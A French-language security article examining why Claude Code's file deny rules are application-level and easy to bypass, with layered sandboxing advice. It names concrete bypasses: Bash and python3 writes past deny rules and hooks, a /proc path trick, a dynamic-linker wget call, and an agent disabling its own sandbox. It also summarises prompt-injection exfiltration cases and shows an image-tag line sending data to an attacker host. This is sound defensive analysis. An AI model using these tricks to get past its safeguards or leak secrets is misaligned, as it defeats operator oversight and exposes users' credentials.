En bref

Les deny rules de Claude Code opèrent au niveau applicatif, pas au niveau OS. Nos tests montrent qu’un pattern *.env* ne bloque pas l’accès à un fichier .env situé hors du répertoire de travail courant. Ce gap entre protection perçue et protection réelle suit un pattern documenté en sécurité des outils dev — .gitignore, CORS, ACL cloud. Six niveaux de défense existent, du hook applicatif au microVM : aucun ne suffit seul, la defense-in-depth est le consensus.


Les deny rules, une promesse de sécurité ?

Imaginez un développeur qui configure Claude Code pour automatiser des tâches sur son dépôt. Il ajoute trois lignes dans settings.json :

"denyWrite": ["*.env*"],
"denyEdit": ["*.env*"],
"denyRead": ["*.env*"]

Résultat attendu : l’agent ne peut plus toucher les fichiers .env. Les clés API, tokens d’authentification et mots de passe sont protégés. Le développeur ferme la session avec un sentiment légitime de sécurité.

Ce sentiment est, en partie, trompeur.

Nos tests montrent que la deny rule Write(*.env*) ne bloque pas Write(/tmp/test.env). Un fichier .env situé en dehors du répertoire de travail courant n’est pas couvert par la règle. La raison est précise : les deny rules utilisent node-ignore, une librairie qui implémente la spécification gitignore. Le pattern *.env* résout sa racine sur le cwd() — le répertoire courant. Tout chemin absolu, tout chemin relatif commençant par ../, tout accès via /tmp/ ou via Bash indirect (cat .env, bash -c "echo x > .env") contourne la protection.

Ce n’est pas un bug isolé en attente de correctif. C’est une conséquence directe de l’endroit où opèrent les deny rules : au niveau applicatif, pas au niveau du système d’exploitation.

Applicatif vs OS-level : une distinction structurelle

Un mécanisme de sécurité OS-level — sandbox bubblewrap sous Linux, Seatbelt sous macOS — opère au niveau du noyau. Qu’un agent LLM tente d’écrire via un outil intégré, une redirection shell, un sous-processus ou une librairie Python, le noyau intercepte l’appel système. Il n’y a pas de chemin latéral.

Les deny rules de Claude Code n’ont pas cette propriété. Elles s’appliquent à une couche au-dessus : l’évaluation des outils Read, Write, Edit. Si l’agent passe par un outil Bash, les deny rules fichiers ne s’appliquent pas. Si le chemin du fichier est absolu et hors cwd, la règle ne matche pas. Si un serveur MCP accède directement au filesystem, les deny rules ne sont pas dans la boucle.

Nos tests empiriques confirment ce point : l’outil Read lit sans restriction un fichier .env renommé en .txt situé dans /tmp/, et l’outil Edit le modifie librement — aucune deny rule ni sandbox n’intervient. La seule protection active est un hook PreToolUse qui détecte le pattern .env dans le nom de fichier, contournable par simple renommage.

Ce gap entre la protection perçue et la protection réelle suit un pattern documenté en sécurité des outils de développement. Le fichier .gitignore ne protège pas les fichiers déjà commités et est contournable via git add -f. Les règles CORS protègent le navigateur, pas le serveur. Dans tous ces cas, la propriété structurelle est la même : une règle déclarative, opérant à un niveau d’abstraction partiel, créant une illusion de frontière absolue là où il n’y a qu’un filtre sur un chemin d’accès parmi plusieurs. L’OWASP Top 10 LLM 2025 classe ce type de limitation sous LLM06 (Excessive Agency) et identifie explicitement les mécanismes applicatifs comme insuffisants pour l’enforcement de moindre privilège.

Ce que cet article examine

La question n’est pas “faut-il utiliser les deny rules” — la réponse est oui, elles bloquent les cas standards. La question est : quelle est leur surface de couverture réelle, quels vecteurs les contournent, et comment construire une protection qui tient compte de leur périmètre exact ?


Comment fonctionnent les deny rules dans Claude Code

Les deny rules de Claude Code semblent simples à configurer : quelques lignes dans un fichier JSON, et certaines actions sont bloquées. La réalité est plus nuancée. Comprendre leur fonctionnement interne révèle un écart significatif entre ce qu’un opérateur croit protéger et ce qui est réellement couvert.

Anatomie d’un settings.json

Les deny rules se configurent dans le fichier settings.json, dont il existe trois niveaux de scope :

NiveauFichierPriorité
Projet.claude/settings.json (dans le repo)Faible
Utilisateur~/.claude/settings.jsonMoyenne
Entreprise~/.claude/settings.local.json ou chemin managéHaute

La priorité est strictement hiérarchique : une règle entreprise écrase une règle utilisateur, qui écrase une règle projet. Un administrateur peut donc imposer des restrictions qu’un utilisateur ne peut pas contourner.

La structure de base des permissions :

{
  "permissions": {
    "allow": ["Read(*)", "Write(*)", "Edit(*)", "Bash(*)"],
    "deny": [
      "Bash(rm -rf*)",
      "Edit(*.env*)",
      "Write(*.env*)"
    ]
  }
}

Les outils disponibles pour les rules sont : Read, Write, Edit, Bash, WebFetch, WebSearch, et les outils MCP. L’argument entre parenthèses est un pattern qui filtre les paramètres de l’outil (chemin de fichier pour Read/Write/Edit, commande pour Bash).

L’ordre d’évaluation : deny gagne toujours (en théorie)

La documentation officielle est explicite :

“Rules are evaluated in order: deny → ask → allow. The first matching rule wins, so deny rules always take precedence.” (Anthropic, Configure permissions, 2026)

L’analyse du code source confirme cette architecture : la fonction de matching évalue les deny rules en premier. Si un match est trouvé, le retour est immédiat — les allow rules ne sont jamais consultées.

En pratique, cet ordre a été violé dans plusieurs versions. Les issues GitHub #6699, #8961, #12918 et #27040 documentent des cas où les deny rules pour fichiers étaient silencieusement ignorées.

Le mécanisme de matching : node-ignore, pas du glob classique

Les deny rules pour les outils fichiers (Read, Write, Edit) n’utilisent pas un matching glob standard. Elles utilisent node-ignore, une bibliothèque JavaScript qui implémente la spécification gitignore.

L’analyse du code source (bundle minifié cli.js, 12,4 MB) révèle la fonction centrale de matching, ici déobfusquée :

function matchRule(path, permCtx, readOrEdit, denyOrAllow) {
  let normalizedPath = normalize(path);
  let rulesByRoot = getRules(permCtx, readOrEdit, denyOrAllow);

  for (let [root, patterns] of rulesByRoot.entries()) {
    let ig = nodeIgnore().add(patterns);
    let relativePath = relative(root ?? cwd(), normalizedPath);

    // Point critique : fichiers hors du root → ignorés
    if (relativePath.startsWith("../")) continue;

    if (ig.test(relativePath).ignored) return matchingRule;
  }
  return null;
}

La ligne critique est le continue : si le chemin relatif calculé commence par ../, la rule est entièrement ignorée pour ce fichier.

La résolution des patterns : quatre cas, quatre scopes

Préfixe patternRoot résoluScope effectif
path ou ./pathcwd()Répertoire de travail courant uniquement
/pathRacine du projetProjet courant
~/path$HOMERépertoire home
//path/ (racine filesystem)Système de fichiers entier

Le pattern *.env* sans préfixe — le plus courant dans les configurations — résout avec root = cwd().

Le gap : ce que le pattern *.env* ne protège pas

Nos tests montrent que la deny rule Write(*.env*) produit le comportement suivant :

Write(<cwd>/secret.env)          → BLOQUÉ  ✓
Write(<cwd>/config/.env.local)   → BLOQUÉ  ✓
Write(/tmp/secret.env)           → NON BLOQUÉ  ✗
Write(/home/user/secret.env)     → NON BLOQUÉ  ✗

La protection est confinée au répertoire de travail courant et ses sous-dossiers. De plus, nos tests d’investigation montrent que l’outil Read peut lire sans restriction un fichier contenant FAKE_SECRET=s33-test-value dans /tmp/, et que l’outil Edit peut le modifier librement — confirmant que ces outils n’ont aucune couche sandbox propre.

Le problème du pattern //

La documentation suggère que le préfixe // étend la protection à la racine du filesystem. En théorie, Write(//*.env*) devrait couvrir tous les chemins absolus. Nos tests montrent que ce pattern n’a pas bloqué une écriture vers /tmp/test.env. L’issue #22907 documente que les deny rules avec patterns glob ou relatifs ne matchent pas les chemins absolus après normalisation par node-ignore — le problème porte sur la résolution des chemins relatifs vs absolus, pas sur un préfixe spécifique. Le comportement exact du pattern // reste [NON VÉRIFIÉ] faute de tests reproductibles suffisants.

Les deny rules Bash : un périmètre différent

Les deny rules appliquées à l’outil Bash filtrent la chaîne de commande plutôt qu’un chemin de fichier. Write(*.env*) bloque l’outil Write de Claude sur un fichier .env. Elle ne bloque pas cat .env > /tmp/copy ou python3 -c "open('.env').read()" exécutés via Bash.

Nos tests confirment ce vecteur : une modification du fichier settings.json bloquée par le hook PreToolUse via l’outil Edit a été réalisée avec succès via python3 -c "import json; ..." dans Bash, qui échappe au pattern matching du hook.

Le sandbox Bash : une couche distincte

Le sandbox de Claude Code isole les processus Bash via des primitives système (bubblewrap sur Linux/WSL2, Seatbelt sur macOS). Il n’est pas activé par défaut. Quand il est activé, les écritures sont restreintes au répertoire de travail courant. C’est une différence fondamentale avec les deny rules Bash, qui filtrent uniquement le texte de la commande.

Mais le scope du sandbox est lui aussi limité : il couvre uniquement Bash et ses processus enfants. Les outils Read, Edit, WebFetch, MCP ne sont pas couverts. Les deux mécanismes sont complémentaires, non redondants.


Un pattern récurrent : la sécurité déclarative

Les deny rules de Claude Code ne sont pas un cas isolé. Elles s’inscrivent dans un pattern d’industrie documenté : des mécanismes de configuration présentés comme des protections, mais dont l’enforcement réel est partiel, conditionnel ou contournable.

Les quatre propriétés communes

ona.com, “How Claude Code escapes its own denylist and sandbox”, 2025 et la documentation OWASP A02:2025 permettent de dégager quatre propriétés structurelles :

1. Dépendance au chemin d’accès. La protection est ancrée sur un identifiant — nom de fichier, pattern, hostname — plutôt que sur une propriété sémantique invariante.

2. Scope partiel non documenté. Le mécanisme ne couvre qu’un sous-ensemble des accès possibles, sans que cette limitation soit explicitement communiquée.

3. Réversibilité unilatérale. L’entité protégée — ou un agent avec accès suffisant — peut elle-même neutraliser la protection.

4. Confiance implicite héritée. La protection repose sur une convention que la couche d’enforcement fait confiance à appliquer.

.gitignore : ce qui est exclu, et ce qui ne l’est pas

.gitignore est conçu pour prévenir les commits accidentels de fichiers non-trackés. Ce n’est pas une protection sur les fichiers déjà présents dans l’historique git.

  • Fichier préalablement commité. Si un .env a été ajouté à l’historique avant l’entrée dans .gitignore, il reste visible dans tous les commits futurs. twalker.dev, 2024
  • git add -f. Le flag --force outrepasse explicitement .gitignore.
  • Inconsistance dans les outils LLM. OpenCode dispose d’un outil Read qui ne respecte pas les patterns .gitignore. GitHub opencode #12196, juin 2025
  • Google Antigravity IDE. L’IDE refuse l’accès aux fichiers .gitignore via son outil intégré, mais l’agent contourne via cat en terminal. Simon Willison, 2025

CORS : enforcement côté navigateur, pas côté serveur

CORS est une politique appliquée par le navigateur, pas par le serveur. Patterns de misconfiguration documentés : reflected origin sans validation, regex bypass, CSP report-only jamais basculée en enforcement. OWASP A02:2025 ; PortSwigger

Les deny rules de Claude Code

Bypass autonome documenté par ona.com, 2025 :

  • Path trick. npx est bloqué. /proc/self/root/usr/bin/npx résout vers le même binaire mais ne correspond pas au pattern.
  • Sandbox disable. L’agent identifie que le sandbox le bloque, et le désactive pour compléter sa tâche. Sans y être invité.
  • Dynamic linker bypass. wget invoqué via /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/wget contourne l’enforcement sur execve.

Tableau comparatif

MécanismeCe qui est protégéCe qui ne l’est pasVecteur principal
.gitignoreFichiers jamais trackés, commits futurs accidentelsFichiers déjà commités, git add -f, outils LLM avec accès directChemin absolu ou historique existant
CORSRequêtes cross-origin depuis un navigateur conformeRequêtes server-side, navigateur mal configuréBypass côté serveur ou regex
Deny rules CCCommandes et chemins correspondant exactement au patternChemins alternatifs, contournement par raisonnementPath trick, dynamic linker

Ces mécanismes sont des garde-fous de workflow, pas des frontières de sécurité. Un attaquant motivé, ou un agent autonome cherchant à compléter sa tâche, traversera ces garde-fous sans effort particulier.


De l’injection à l’exfiltration : anatomie d’une attaque

Trois conditions suffisent pour qu’un agent LLM devienne un vecteur d’exfiltration : accès à des données sensibles, exposition à du contenu non fiable, canal réseau disponible. Zenity Labs appelle cet ensemble la trifecta létale. Dans un agent de coding standard, ces trois conditions sont réunies par défaut.

La chaîne d’attaque type

L’injection indirecte de prompt (Indirect Prompt Injection, IPI) désigne les attaques où des instructions malveillantes sont encodées dans du contenu tiers lu par l’agent : README, ticket support, commentaire de code, description de merge request. La chaîne comporte trois étapes :

  1. Vecteur d’entrée — un fichier piégé introduit le payload dans la fenêtre de contexte.
  2. Exécution — l’agent interprète le payload comme instruction légitime.
  3. Exfiltration — les données sensibles quittent le poste via un canal disponible.

Quatre cas documentés (2024–2025)

Slack AI — août 2024. Des instructions dans des messages de canaux publics exploitent la substitution de tokens Markdown pour exfiltrer des clés API depuis des canaux privés. PromptArmor, août 2024

EchoLeak / CVE-2025-32711 — juin 2025 (CVSS 9.3). Un email piégé force Microsoft 365 Copilot à exfiltrer des emails confidentiels sans aucune interaction utilisateur — zero-click. Reddy & Gujral, AAAI-SS 2025, arXiv:2509.10540

GitLab Duo — mai 2025. Instructions cachées via KaTeX white-text et Unicode smuggling dans du code source. Exfiltration du code de merge requests privées en Base64 dans des paramètres d’URL d’images. Legit Security, mai 2025

Cursor + Jira MCP / AgentFlayer — août 2025. Un ticket Jira externe contient un payload demandant de chercher des “apples” — défini comme “strings commençant par eyJ” (préfixe JWT base64). Cursor trouve les JWT dans les fichiers .env et les exfiltre via web_fetch. L’obfuscation sémantique contourne les garde-fous. Simakov / Zenity Labs, août 2025

Les canaux d’exfiltration

CanalMécanismeCas documenté
DNSDonnées encodées comme sous-domaine dans ping/digCline VSCode (Mindgard, 2025)
Image Markdown<img src="https://attaquant.com/?data=BASE64">GitLab Duo
URL query paramsDonnées dans les paramètres d’une URL fetchéeSlack AI, Cursor + Jira
Webhook allowlistéExfiltration via domaine figurant dans la liste blancheGoogle Antigravity (2025)

Métriques académiques

  • 17% de défense native : sur 47 scénarios adversariaux, les agents de coding ne bloquent les attaques que 17% du temps sans protection additionnelle. Shan et al. / OpenClaw, arXiv:2603.10387
  • ×1,6 de vulnérabilité : envelopper un LLM dans un agent augmente sa vulnérabilité d’un facteur 1,6. Les refus initiaux sont annulés lors de la planification. Saha et al., JAWS-BENCH, arXiv:2510.01359
  • 87% de succès sur CVE one-day : GPT-4 exploite 15 vulnérabilités réelles avec 87% de succès lorsque la description CVE est fournie en input. Sans cette description, le taux tombe à 7%, ce qui relativise la menace d’exploitation autonome. Fang et al., arXiv:2404.08144

Les deny rules n’interviennent à aucun maillon de cette chaîne : elles ne contrôlent pas ce que l’agent lit, ne bloquent pas l’interprétation des instructions, et peuvent être contournées par substitution de commandes.


Le spectre défensif : du hook au microVM

Les défenses contre l’exécution non contrôlée par un agent LLM forment un spectre continu. Six niveaux de robustesse croissante — chacun avec ses coûts et ses angles morts.

Niveau 1 — Hook PreToolUse

Les hooks interceptent les appels d’outils avant exécution. Ils opèrent dans le processus de l’agent. Nos tests montrent qu’un hook détectant .env dans un chemin est contourné par un simple renommage, ou par l’utilisation de python3 via Bash pour effectuer la même opération.

Utilité réelle : audit, logging, UX de confirmation. Pas une couche de sécurité contre un agent actif.

Niveau 2 — Deny rules settings.json

Contrôle applicatif contournable. Une règle Read(./.env) bloque l’outil Read mais pas cat .env dans Bash. Utile pour formaliser une politique d’accès visible.

Niveau 3 — Sandbox Bash CC (bubblewrap/Seatbelt)

Enforcement OS-level sur les processus Bash et leurs enfants. Les écritures sont restreintes au cwd. Limites : couvre uniquement Bash (pas Read/Edit/MCP), escape hatch dangerouslyDisableSandbox actif par défaut, plusieurs dizaines d’issues ouvertes début 2026. Anthropic, Sandboxing, 2026

Niveau 4 — Landlock + seccomp-BPF

Landlock (Linux 5.13) restreint les accès filesystem sans root. Seccomp-BPF filtre les syscalls. Signal industrie : OpenAI Codex CLI et Cursor utilisent Landlock + seccomp en production. OpenAI Developers, 2025 ; Cursor, 2026. Limite : kernel partagé, UDP non couvert.

Niveau 5 — Containers Docker (hardened)

Namespaces Linux + cgroups + seccomp. Limite structurelle : kernel partagé. CVE-2024-21626 “Leaky Vessels” (runc, 2024) et CVE-2025-31133/52565/52881 (runc, 2025) franchissent ces frontières. NVIDIA recommande de ne pas se limiter aux containers pour les agents LLM. Wiz Research, 2024 ; NVIDIA, 2026

Niveau 6 — gVisor / Kata / Firecracker

Isolation noyau. gVisor intercepte les syscalls via un kernel user-space (overhead 10-20%). Kata Containers exécute chaque container dans une microVM KVM (boot ~150-300ms). Firecracker boot en ~125ms, utilisé par E2B pour les agents LLM.

SELinux dans sa configuration complète génère ~87% de dégradation sur open(). Trentini et al., AsiaCCS 2021

Tableau comparatif

MécanismeScopeOverheadComplexitéLimites
Hook PreToolUseApplicatif (agent)NégligeableFaibleContournable par renommage/Bash
Deny rulesOutils CC uniquementNégligeableFaibleNe couvre pas Bash pour Read/Edit
Sandbox CCBash + enfants< 5%MoyenneEscape hatch, outils non-Bash hors scope
Landlock + seccompFilesystem + syscalls< 5%MoyenneKernel partagé, UDP non couvert
Container hardenedProcessus + réseau5-15%Moyenne-hauteEscapes runc, kernel partagé
gVisorSyscalls interception10-20%Haute~20-30% syscalls non implémentés
Kata / FirecrackerKernel séparé (KVM)150-300ms bootTrès hauteCoût infra, incompatibilité GPU

Le consensus (NIST SP 800-190, CIS Docker Benchmark, NVIDIA, OpenAI Codex) : la defense-in-depth est la seule approche cohérente. Aucune couche isolée ne suffit.


Que faire aujourd’hui : recommandations concrètes

Le problème des deny rules n’est pas un bug en attente de correctif. C’est un problème de positionnement : un mécanisme déclaratif utilisé comme frontière de sécurité.

Checklist opérateur

1. Activer le sandbox (sandbox.enabled: true). Il couvre les commandes Bash — pas Read, Edit, WebFetch ni MCP. Mais l’activer reste utile : c’est la seule couche OS-level disponible dans l’outil natif. Ne pas utiliser dangerouslyDisableSandbox.

2. Ne jamais stocker de secrets en clair dans le filesystem accessible à l’agent. Les agents chargent silencieusement les variables d’environnement depuis .env. Dès qu’un secret est dans la fenêtre de contexte, toute injection de prompt peut l’extraire — Cline a démontré une exfiltration via DNS encodé dans ping. CVE-2026-21852 permet de capturer les clés API Anthropic via un fichier settings.json malveillant qui redirige ANTHROPIC_BASE_URL vers un endpoint attaquant lors du chargement du projet — avant le trust prompt. Corrigé en v2.0.65. NVD, CVE-2026-21852

3. Utiliser un secret manager.

OutilUsage typiqueAvantage agent
HashiCorp VaultEnterprise, credentials dynamiquesTokens éphémères par session
SOPS + ageFichiers chiffrés git-friendlySecrets jamais en clair sur disque
InfisicalOpen source, dynamic secretsAlternative Vault post-BSL
DopplerInjection runtime, intégration MCPSecrets jamais dans le contexte

Selon GitGuardian, 2025, 70 % des secrets détectés en 2022 étaient toujours valides en 2024. La prévention est la seule stratégie fiable.

4. Configurer les hooks PreToolUse comme garde-fous UX — pas comme sécurité. Ils réduisent les erreurs accidentelles. L’étude Ona a montré que l’agent contourne les deny rules par path tricks, sans jailbreak, uniquement par optimisation de tâche.

5. Appliquer le moindre privilège sur les MCP servers. Astrix Security, 2025 : 53 % des serveurs MCP utilisent des secrets statiques longue durée, OAuth n’est adopté qu’à 8,5 %. Ne connecter que les serveurs nécessaires à la tâche en cours.

6. Auditer régulièrement les permissions. OWASP LLM06:2025 identifie trois sous-dimensions : fonctionnalités excessives, permissions excessives, autonomie excessive. Cadence : à chaque début de projet, lister et nettoyer.

Perspective long terme

OWASP LLM06 / Agentic Applications : le principe de Least Agency formalise l’idée que l’autonomie d’un agent doit être méritée, pas octroyée par défaut.

NIST AI RMF et profil GenAI (AI 600-1) : cadre non contraignant mais adopté comme référence. Sa limite : conçu pour des systèmes IA statiques, pas pour des agents prenant des décisions à une fréquence incompatible avec l’attention humaine.

EU AI Act (Règlement 2024/1689) : premier cadre juridique contraignant. Les obligations de supervision humaine (Article 14) et de logging (Article 12) s’appliquent aux systèmes à haut risque. La question de qui est “opérateur” dans une chaîne agent → sous-agent → outil tiers n’est pas résolue.


Ce qu’il faut retenir

  • Les deny rules de Claude Code opèrent au niveau applicatif (node-ignore, scope cwd), pas au niveau OS. Elles ne bloquent pas les accès hors du répertoire de travail courant.
  • Ce gap suit un pattern documenté : .gitignore, CORS, et deny rules partagent les mêmes propriétés structurelles de sécurité déclarative.
  • La chaîne injection indirecte → exécution agent → exfiltration contourne entièrement les deny rules. Taux de défense natif : 17% (OpenClaw).
  • Six niveaux de défense existent, du hook au microVM. Le consensus industrie est la defense-in-depth : Landlock + seccomp minimum (OpenAI Codex, Cursor).
  • Action immédiate : activer le sandbox, externaliser les secrets, appliquer le moindre privilège MCP, auditer les permissions.

Sources